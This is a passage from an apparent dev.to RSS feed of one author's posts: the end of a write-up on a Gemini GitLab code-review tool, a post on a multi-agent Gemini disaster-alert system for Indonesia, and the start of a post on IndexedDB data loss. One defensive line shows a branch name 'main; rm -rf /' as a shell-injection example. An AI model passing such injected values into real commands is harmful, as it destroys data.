&lt;p&gt;My first approach used a cascading strategy: Gemini CLI &lt;code&gt;/code-review&lt;/code&gt; extension → CLI prompt → REST API. The CLI approaches failed every time in CI because Gemini CLI restricts its toolset in non-interactive (non-TTY) mode, the &lt;code&gt;/code-review&lt;/code&gt; extension can't even run &lt;code&gt;git diff&lt;/code&gt;. No Docker image change fixes this. The simplest solution turned out to be the best: just call the API directly.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Structured output beats regex parsing
&lt;/h3&gt;

&lt;p&gt;Early versions asked Gemini for markdown and parsed it with regex. This was fragile, brackets optional, format drift between model versions, &lt;code&gt;lastIndex&lt;/code&gt; state bugs in &lt;code&gt;exec()&lt;/code&gt; loops:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Handles both: **[CRITICAL]** and **CRITICAL**&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;findingRegex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\*\*\[?(&lt;/span&gt;&lt;span class="sr"&gt;CRITICAL|HIGH|MEDIUM|LOW&lt;/span&gt;&lt;span class="se"&gt;)\]?\*\*\s&lt;/span&gt;&lt;span class="sr"&gt;*`&lt;/span&gt;&lt;span class="se"&gt;([^&lt;/span&gt;&lt;span class="sr"&gt;`&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;+&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;`/g&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Migrating to Gemini's structured output (&lt;code&gt;responseMimeType: "application/json"&lt;/code&gt; + &lt;code&gt;responseSchema&lt;/code&gt;) eliminated the entire parsing layer. Findings come back as typed JSON objects. No regex, no format drift, no silent data loss.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. GitLab CI variable "pass-through" is a trap
&lt;/h3&gt;

&lt;p&gt;This looks innocent:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;variables&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;GEMINI_API_KEY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$GEMINI_API_KEY&lt;/span&gt;  &lt;span class="c1"&gt;# ← circular reference&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GitLab expands this to the literal string &lt;code&gt;$GEMINI_API_KEY&lt;/code&gt; instead of the secret value. The fix: don't re-declare project-level CI/CD variables. They're available in every job automatically.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. &lt;code&gt;execFileSync&lt;/code&gt; over &lt;code&gt;execSync&lt;/code&gt; for security
&lt;/h3&gt;

&lt;p&gt;The original code built shell commands as strings. Branch names come from user input in CI, a branch named &lt;code&gt;main; rm -rf /&lt;/code&gt; would be a shell injection. Switching to &lt;code&gt;execFileSync('git', ['diff', '--merge-base',&lt;/code&gt;origin/${targetBranch}&lt;code&gt;])&lt;/code&gt; calls the binary directly, no shell interpretation.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. URL-encoding every path parameter
&lt;/h3&gt;

&lt;p&gt;GitLab project IDs can be namespaced paths (&lt;code&gt;my-group/my-project&lt;/code&gt;). Without &lt;code&gt;encodeURIComponent()&lt;/code&gt;, a branch named &lt;code&gt;feature/auth&lt;/code&gt; silently becomes a path traversal. Every parameter, project ID, MR IID, file path, branch ref, gets encoded.&lt;/p&gt;




&lt;h2&gt;
  
  
  Google Gemini Feedback
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What worked well:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Structured output / JSON mode&lt;/strong&gt; is the standout feature. Once I switched from markdown + regex to &lt;code&gt;responseSchema&lt;/code&gt;, reliability jumped dramatically. The schema enforcement means I can trust the shape of the response and write typed TypeScript around it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;temperature: 0.2&lt;/code&gt;&lt;/strong&gt; produces consistent, deterministic reviews. This is important for CI, you don't want findings to appear and disappear between pipeline runs on the same code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;65k output token limit&lt;/strong&gt; means Niteni can review large diffs without truncation. This was a real concern early on.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;REST API itself&lt;/strong&gt; is clean and well-documented. Direct HTTP calls from Node's &lt;code&gt;https&lt;/code&gt; module work without friction.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Where I hit friction:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Error messages from the API&lt;/strong&gt; are sometimes opaque. A JSON parse failure mid-response (unterminated string at character 1326) gave no signal about &lt;em&gt;why&lt;/em&gt; the output was truncated. More structured error payloads would make debugging easier.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate limits during testing&lt;/strong&gt; are easy to hit when you're running the tool repeatedly against the same MR. Clearer rate limit headers in responses would let the client back off gracefully instead of just failing.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Overall, Gemini's structured output capability was the key unlock for making Niteni reliable enough to trust in automated CI pipelines. The shift from "parse whatever the LLM returns" to "enforce a schema and get typed objects" is something I'd apply to any future LLM integration.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Code: &lt;a href="https://github.com/denyherianto/niteni" rel="noopener noreferrer"&gt;github.com/denyherianto/niteni&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>geminireflections</category>
      <category>gemini</category>
    </item>
    <item>
      <title>Building Disaster Pulse: What Happened When I Let AI Decide If a Disaster Is Real</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Tue, 03 Mar 2026 16:39:54 +0000</pubDate>
      <link>https://dev.to/denyherianto/building-disaster-pulse-what-happened-when-i-let-ai-decide-if-a-disaster-is-real-19jh</link>
      <guid>https://dev.to/denyherianto/building-disaster-pulse-what-happened-when-i-let-ai-decide-if-a-disaster-is-real-19jh</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/mlh-built-with-google-gemini-02-25-26"&gt;Built with Google Gemini: Writing Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;I live in Indonesia. We sit on the Ring of Fire, an archipelago of 17,000 islands, home to 40% of the world's active volcanoes, and a long, painful history of disasters that moved too fast and warned too late.&lt;/p&gt;

&lt;p&gt;In November 2025, Tropical Cyclone Senyar made landfall in northeastern Sumatra with around 1,090–1,207 people died. Over 1.1 million people were displaced. The cyclone itself was relatively small, the real damage came from deforested watersheds that had no natural buffer left. Information about the disaster spread across TikTok, WhatsApp, news sites, and government agencies, all at once, in fragments, with varying levels of accuracy.&lt;/p&gt;

&lt;p&gt;That's the origin of &lt;strong&gt;Disaster Pulse&lt;/strong&gt;, an AI-powered disaster intelligence platform I built for the &lt;a href="https://gemini3.devpost.com/" rel="noopener noreferrer"&gt;Gemini 3 Hackathon&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built with Google Gemini
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frgob6ye0q0z7km4t0wlw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frgob6ye0q0z7km4t0wlw.png" alt="Agents Flow" width="800" height="588"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Disaster Pulse is a real-time disaster detection and alert system designed for Indonesia. When Cyclone Senyar hit Sumatra, information came from everywhere, BMKG (Indonesia's meteorological agency), TikTok videos of people filming floodwater from rooftops, WhatsApp forwarded messages, news RSS feeds, and user reports from people trying to locate missing relatives. Most of it was noise. Some of it was life-or-death signal.&lt;/p&gt;

&lt;p&gt;The app's job is to separate those two.&lt;/p&gt;

&lt;p&gt;Here's where Gemini comes in: I built a &lt;strong&gt;5-agent reasoning pipeline&lt;/strong&gt; powered by Gemini to process every incoming signal before it becomes an alert on the dashboard.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Observer → Classifier → Skeptic → Synthesizer → Action
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each agent has a single job:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Observer&lt;/strong&gt;: Reads the raw signal (text, video frame, user report) and writes factual observations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Classifier&lt;/strong&gt;: Assigns event type, severity, and affected radius&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skeptic&lt;/strong&gt;: Actively looks for reasons the previous agents are &lt;em&gt;wrong&lt;/em&gt;, hallucination prevention&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Synthesizer&lt;/strong&gt;: Weighs all evidence and produces a confidence-scored verdict&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Action&lt;/strong&gt;: Decides whether to create a new incident, update an existing one, or discard the signal&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;strong&gt;VideoAnalysisAgent&lt;/strong&gt; is the one I'm most proud of. It uses Gemini's multimodal capabilities to analyze video frames from social media, checking for visual flood indicators, fire signatures, and structural damage, then applies a freshness rule: if the video metadata suggests it was filmed more than 6 hours ago, the severity score gets downgraded. Old content shouldn't trigger live alerts.&lt;/p&gt;

&lt;p&gt;Beyond the AI pipeline, the app includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Real-time dashboard with incident severity cards&lt;/li&gt;
&lt;li&gt;Live map showing affected zones&lt;/li&gt;
&lt;li&gt;Community verification system (human-in-the-loop)&lt;/li&gt;
&lt;li&gt;SSE-powered live intelligence ticker showing agent activity&lt;/li&gt;
&lt;li&gt;Mobile-first PWA for field workers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Tech stack&lt;/strong&gt;: NestJS (API), Next.js 15 (web), PostgreSQL, Drizzle ORM, Gemini API, Turborepo monorepo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://disaster-pulse.denyherianto.com" rel="noopener noreferrer"&gt;https://disaster-pulse.denyherianto.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here's a quick look at the core pipeline in action. The Live Intelligence Ticker shows each agent processing a signal in real time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Observer]    Reading signal: TikTok video, 0:42, location metadata: North Sumatra
[Classifier]  Event type: flood | Severity: high | Confidence: 0.84
[Skeptic]     ⚠ Video upload timestamp 14h ago, possible recirculation of 2022 Palu footage
[Synthesizer] Verdict: DOWNGRADE severity to low | Freshness penalty applied
[Action]      Signal discarded, insufficient confidence threshold
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Multi-agent architecture is harder than it looks
&lt;/h3&gt;

&lt;p&gt;I thought about building a single "smart prompt" to classify disasters. I'm glad I didn't.&lt;/p&gt;

&lt;p&gt;The Skeptic agent alone probably saves the most embarrassment. Early on, without it, the pipeline would happily classify someone's video of a smoke machine at a concert as "fire, high severity." The Skeptic looks at the Classifier's output and asks: &lt;em&gt;what if this is wrong?&lt;/em&gt; That adversarial framing is the difference between a toy and something I'd trust in production.&lt;/p&gt;

&lt;p&gt;But chains have failure modes. If the Observer writes a vague summary, the Classifier gets bad input, the Skeptic has nothing solid to critique, and the Synthesizer is guessing. I learned to write very explicit output schemas for each agent, not just "describe what you see" but "output JSON with fields: &lt;code&gt;event_type&lt;/code&gt;, &lt;code&gt;confidence&lt;/code&gt;, &lt;code&gt;evidence_list&lt;/code&gt;, &lt;code&gt;contradictions&lt;/code&gt;."&lt;/p&gt;

&lt;p&gt;Structured output with Gemini was a game-changer here.&lt;/p&gt;

&lt;h3&gt;
  
  
  Multimodal processing isn't free
&lt;/h3&gt;

&lt;p&gt;Video analysis sounds straightforward until you're pulling frames from a TikTok video at 3 AM, sampling every 2 seconds, and sending each frame to the Gemini API with a detailed prompt. Token costs add up fast. I had to be strategic: sample at lower frequency for longer videos, cache identical frames (TikTok compression creates a lot of duplicates), and set hard limits on video length per analysis job.&lt;/p&gt;

&lt;p&gt;The freshness rule emerged from a real problem: during Cyclone Senyar, videos from the 2022 Cianjur earthquake and the 2018 Palu tsunami were getting recirculated on TikTok alongside actual Sumatra flood footage. People were sharing old disasters in the panic of a new one. Without the freshness check, the pipeline would treat a 2018 video as a live signal. Metadata-based time-checking was a simple fix that meaningfully improved signal quality.&lt;/p&gt;

&lt;h3&gt;
  
  
  The empty state kills demos
&lt;/h3&gt;

&lt;p&gt;I almost demoed with no data. I had built the entire pipeline and UI but hadn't thought about what judges see when they open the app for the first time.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Nothing.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I scrambled and built a demo seed system, a script that populates the database with a realistic scenario based on Cyclone Senyar: flood alerts across North Sumatra, multiple user verification reports with conflicting severity estimates, landslide signals from Mandailing Natal, and full agent traces showing the reasoning chain. A hidden trigger in the frontend (tap the logo 5 times) resets and re-seeds everything.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson: build for the demo from day one.&lt;/strong&gt; The feature doesn't matter if the judge sees a blank screen.&lt;/p&gt;

&lt;h3&gt;
  
  
  The hardest part wasn't the AI, it was making the AI visible
&lt;/h3&gt;

&lt;p&gt;I had a sophisticated 5-agent pipeline running, but from the user's perspective, disaster cards just... appeared on a dashboard. There was no way to see &lt;em&gt;why&lt;/em&gt; something was classified high severity or what the Skeptic had flagged.&lt;/p&gt;

&lt;p&gt;This is the black box problem. In disaster alerting, a black box is a liability. With Cyclone Senyar, the difference between "flooding in Mandailing Natal" and "flooding in Mandailing Natal, confidence 0.91, corroborated by BMKG water level data + 3 user reports + video analysis" is the difference between a coordinator acting or waiting for more information.&lt;/p&gt;

&lt;p&gt;Building the AI Transparency Panel, a "Why?" button that exposes the full agent trace, changed the product from a dashboard into a &lt;em&gt;decision-support tool&lt;/em&gt;. That distinction matters enormously for real-world impact.&lt;/p&gt;

&lt;h3&gt;
  
  
  One moment that stuck
&lt;/h3&gt;

&lt;p&gt;At some point during the hackathon, I was debugging the Skeptic agent and fed it a signal I thought was obviously a live Sumatra flood report, a news article with dramatic photos of floodwater submerging houses.&lt;/p&gt;

&lt;p&gt;The Skeptic came back: &lt;em&gt;"The article references events from 2022. The images match historical flood patterns from that period. This signal should not trigger a live alert."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It was right. I had been testing with old data I'd scraped as examples, and the agent caught it.&lt;/p&gt;

&lt;p&gt;There's something a little unsettling about an AI being more careful than I was. But mostly it made me trust the architecture. That's what I want to keep building toward: systems that are genuinely more careful, not just faster.&lt;/p&gt;

&lt;h2&gt;
  
  
  Google Gemini Feedback
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What worked really well
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Structured output is exceptional.&lt;/strong&gt; Gemini's ability to reliably return JSON matching a schema is the foundation the entire multi-agent pipeline is built on. Without it, I'd be writing fragile regex parsers to extract data from free-text responses. With it, every agent output is predictable, typeable, and chainable. This is the feature I'd highlight to any developer building agentic systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multimodal + long context together.&lt;/strong&gt; The combination of sending video frames &lt;em&gt;and&lt;/em&gt; having the model hold enough context to reason across them is genuinely powerful. For the VideoAnalysisAgent, I send multiple frames with temporal metadata and ask the model to reason about change over time. It handles this well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Speed on Gemini Flash.&lt;/strong&gt; For a real-time alert system, latency matters. Flash is fast enough that the agent pipeline completes within a few seconds for most signals, which means dashboard updates feel live rather than batched.&lt;/p&gt;

&lt;h3&gt;
  
  
  Where I hit friction
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Rate limits during development are brutal.&lt;/strong&gt; When you're building a pipeline that chains 5 API calls per signal and testing with a seed of 20 signals, you hit limits fast. The error messages could be more actionable, "quota exceeded" without any indication of which quota (per-minute, per-day, per-project) cost me real debugging time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Structured output edge cases aren't well documented.&lt;/strong&gt; What happens when the model &lt;em&gt;can't&lt;/em&gt; produce valid output for a schema? Sometimes the API returns a malformed response silently rather than throwing an error. I had to add defensive validation at every agent step to catch this. It's a correctness issue I didn't expect going in.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Grounding/search integration has a learning curve.&lt;/strong&gt; I wanted to cross-reference incidents with historical BMKG data, but integrating Google Search grounding into a multi-step pipeline, where only &lt;em&gt;some&lt;/em&gt; steps should use grounding, required more plumbing than I expected. I ended up implementing a separate &lt;code&gt;SignalEnrichmentAgent&lt;/code&gt; just for this, which added complexity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Streaming in chained calls needs better SDK support.&lt;/strong&gt; I wanted to show real-time agent "thinking" in the UI, streaming tokens from each agent as they processed. Gemini supports streaming, but building it into a pipeline where one agent's output feeds the next's input required significant SSE infrastructure on my side. I got it working, but the SDK could make this pattern easier.&lt;/p&gt;




&lt;p&gt;This project isn't going back in a drawer. Next steps: Cloud Run deployment, formal BMKG API integration, offline PWA capability, and eventually, getting it in front of people who actually coordinate disaster response in Indonesia.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Disaster Pulse is open source. Feedback welcome, especially from anyone working in disaster response.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Github: &lt;a href="https://github.com/denyherianto/disaster-pulse" rel="noopener noreferrer"&gt;https://github.com/denyherianto/disaster-pulse&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built with Gemini API, NestJS, Next.js, and a lot of coffee.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>gemini</category>
      <category>ai</category>
      <category>geminireflections</category>
    </item>
    <item>
      <title>Why Your IndexedDB Data Keeps Disappearing</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Tue, 03 Mar 2026 16:28:44 +0000</pubDate>
      <link>https://dev.to/denyherianto/why-your-indexeddb-data-keeps-disappearing-1m0a</link>
      <guid>https://dev.to/denyherianto/why-your-indexeddb-data-keeps-disappearing-1m0a</guid>
      <description>&lt;p&gt;You build a web app. You store data in IndexedDB. It works great, until one day a user reports that all their data is just... gone. No error. No warning. It's as if it never existed.&lt;/p&gt;

&lt;p&gt;This happened to me with &lt;a href="https://mockstudio.app" rel="noopener noreferrer"&gt;Mock Studio&lt;/a&gt;, a Chrome extension that stores API mocks in IndexedDB using &lt;a href="https://dexie.org" rel="noopener noreferrer"&gt;Dexie.js&lt;/a&gt;. Users would work for days building up their mock configurations, then come back to find everything wiped. We dug in and found three root causes, all fixable. Here's what we learned.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Short Version
&lt;/h2&gt;

&lt;p&gt;IndexedDB data can silently disappear because:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Chrome evicts your entire database when storage quota is exceeded&lt;/strong&gt;, and your app might be filling it up faster than you think.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An abrupt connection close mid-write loses uncommitted data&lt;/strong&gt;, service worker restarts can trigger this.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A "clear then import" pattern leaves you with nothing if the import fails&lt;/strong&gt;, even inside a transaction.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Root Cause #1: Chrome Will Evict Your Entire Database
&lt;/h2&gt;

&lt;p&gt;This is the one that hurts the most because it's invisible until it's too late.&lt;/p&gt;

&lt;p&gt;Browsers allocate storage to origins (a combination of scheme + host + port). When an origin exceeds its quota, Chrome doesn't trim your data gracefully, it evicts the &lt;strong&gt;entire origin's storage&lt;/strong&gt;: IndexedDB, Cache API, localStorage, all of it. Gone.&lt;/p&gt;

&lt;h3&gt;
  
  
  How we hit this
&lt;/h3&gt;

&lt;p&gt;Our extension's network logging feature stored every captured HTTP request in IndexedDB, including the &lt;strong&gt;full response body&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;newRequest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;// ← full response body, no size check&lt;/span&gt;
  &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;networkLogs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newRequest&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We had a row count limit of 50,000 records. Sounds reasonable. But 50,000 records × potentially megabytes of response body each = gigabytes of storage. On a busy app making lots of API calls, this table would balloon fast.&lt;/p&gt;

&lt;p&gt;When the storage quota was exceeded, Chrome evicted CMockDB, wiping out all the user's mocks, projects, and environments along with the logs. The user lost everything because of a logging side-feature they didn't even know existed.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Stop storing what you don't need.&lt;/strong&gt; We only needed aggregate stats (counts, average times, error rates), not raw response bodies. Removing the raw log storage entirely solved the problem.&lt;/p&gt;

&lt;p&gt;If you do need raw logs, apply a &lt;strong&gt;size-based limit&lt;/strong&gt;, not just a row count:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Check byte size before storing&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;contentSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Blob&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;content&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;entry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;requestData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;contentSize&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;content&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// skip bodies &amp;gt; 50KB&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or cap by row count but make it realistic, 500 rows of potentially-large records is very different from 500 rows of small records.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to protect your extension from eviction
&lt;/h3&gt;

&lt;p&gt;For Chrome extensions specifically, add &lt;code&gt;unlimitedStorage&lt;/code&gt; to your &lt;code&gt;manifest.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"storage"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"unlimitedStorage"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This exempts your extension's storage from Chrome's quota-based eviction. Without it, your extension is subject to the same eviction policy as any website.&lt;/p&gt;

&lt;p&gt;For regular web apps, you can request persistent storage, the browser will ask the user for permission and the data won't be evicted without explicit user action:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;persisted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;storage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;persist&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;persisted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Storage will not be evicted&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also check how much quota you're using before it becomes a problem:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
